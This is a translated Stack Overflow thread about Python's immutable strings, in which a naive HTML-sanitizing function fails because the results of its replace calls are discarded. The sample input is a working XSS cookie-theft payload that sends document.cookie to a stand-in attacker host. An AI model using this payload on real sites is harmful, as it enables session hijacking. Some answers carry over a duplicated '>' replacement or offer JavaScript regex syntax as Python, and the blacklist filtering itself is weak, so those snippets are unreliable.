我试图替换字符串中的一些关键字。 这是我的功能:

def clean_code(input):
    input.replace('<script>', " ")
    input.replace('</script>', " ")
    input.replace('<a href>', " ")
    input.replace('</a>', " ")
    input.replace('>', "&gt;")
    input.replace('>', "&lt;")
    return input

这是我的其他代码和字符串:

string1 = "This blog is STUPID! >\n" \
"<script>document.location='http://some_attacker/cookie.cgi?"\
" +document.cookie </script>"


print '\nstring1 cleaned of code' 
print '------------------------'
print clean_code(string1)

我的输出如下,我不确定为什么没有改变

string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>

#1楼 票数:8

Python字符串是不可变的

input = input.replace('<script>', " ")
input = ...

请参阅replace文档

返回字符串str的副本,其中所有出现的substring old都替换为new。

#2楼 票数:3

.replace不是就地突变

尝试这个

def clean_code(input):
    for tokens in [('<script>', " "),('</script>', " "),('<a href>', " "),
                ('</a>', " "),('>', "&gt;"),('>', "&lt;")]:
        input = input.replace(tokens[0], tokens[1])
    return input

#3楼 票数:3

字符串在Python中是不可变的。 input.replace('</a>', " ")不会改变input 您需要将结果分配回input

但实际上你应该使用像BeautifulSoup lxml这样的解析器。

#4楼 票数:1

String.replace返回一个新的字符串,该字符串是替换的结果,但不会更改原始字符串。 为此,您必须将返回值分配回变量,如下所示:

myString = myString.replace("foo", "bar")

此外, input.replace('<a href>', " ")只会替换确切的子串“<a href>”。 要删除实际链接,请尝试input.replace(/<a\\s[^>]*>/, " ")

  ask by pearbear translate from so

未解决问题?本站智能推荐:

2回复

字符串到数字列表功能不起作用

我对Python编程非常陌生,并且一直在关注一些视频和网站教程。 我正在解决一些编程实践问题,并且调试时遇到麻烦。 这是我的第一个练习编程。 该函数接受一个字符串并将其转换为数字列表。 所以'a'变为0,'b'变为1,依此类推。它看起来确实很简单,但是我收到了错误'IndexError:
1回复

为什么此替换功能不起作用?

因此,我正在使用这一行Python替换字符串中的一些奇怪字符; 奇怪的字符串是: “ B \\ xc3 \\ xa9相同的Mucho” 它具有一些西班牙风格的口音,我认为尝试摆脱它们而不是尝试实施口音会更简单。 但是它不会替换受影响的部件。 这条线怎么了?
1回复

列表中的字符串替换不起作用[重复]

这个问题已经在这里有了答案: 除非分配输出,为什么调用Python字符串方法不做任何事情? 2个答案 您可以在下面的代码中看到,我正在创建一个字符串列表,该字符串列表实际上构成了planes列表所定义的许多圆。 该问题与hover列表相关。 本质上,如果cli
1回复

Python字符串替换不起作用[重复]

这个问题在这里已有答案: 除非分配输出,否则为什么不调用Python字符串方法呢? 2个答案 我正在尝试替换字符串中的某些内容。 这是我正在测试的代码: 我希望第二个输出能说“你好所有”,但两次都说“你好世界”。 没有错误,代码运行正常,它只是没有做任
1回复

Python用相同的字符串替换不起作用? [复制]

这个问题在这里已经有了答案: 为什么除非您分配其输出,否则调用 Python 字符串方法不会执行任何操作? (3 个回答)
3回复

字符串替换似乎不起作用

我最初尝试使用=运算符分配值但它返回一个错误,然后我尝试使用string.replace() : 和 但它正在返回原始值。 关于如何正确使用替换 API 以给出正确结果的帮助还有没有其他 API 可以用来代替unichr() 。 encrypted_str是从用户那里获取的encryp
2回复

python字符串替换不起作用

我有一个包含令牌的列表的列表。 一些令牌包含特殊字符,我想用空白字符替换。 但是我的代码不起作用: mycode的: 不知道为什么它不起作用。
4回复

通过不使用“字符串替换功能”的索引来替换字符串中的单词-python

有没有一种方法可以在不使用“字符串替换功能”的情况下替换字符串中的单词,例如string.replace(string,word,replacement)。 在这里,“冷”一词被改为“真棒”。 这是我在python中尝试做的MATLAB作业。 在MATLAB中执行此操作时,不允许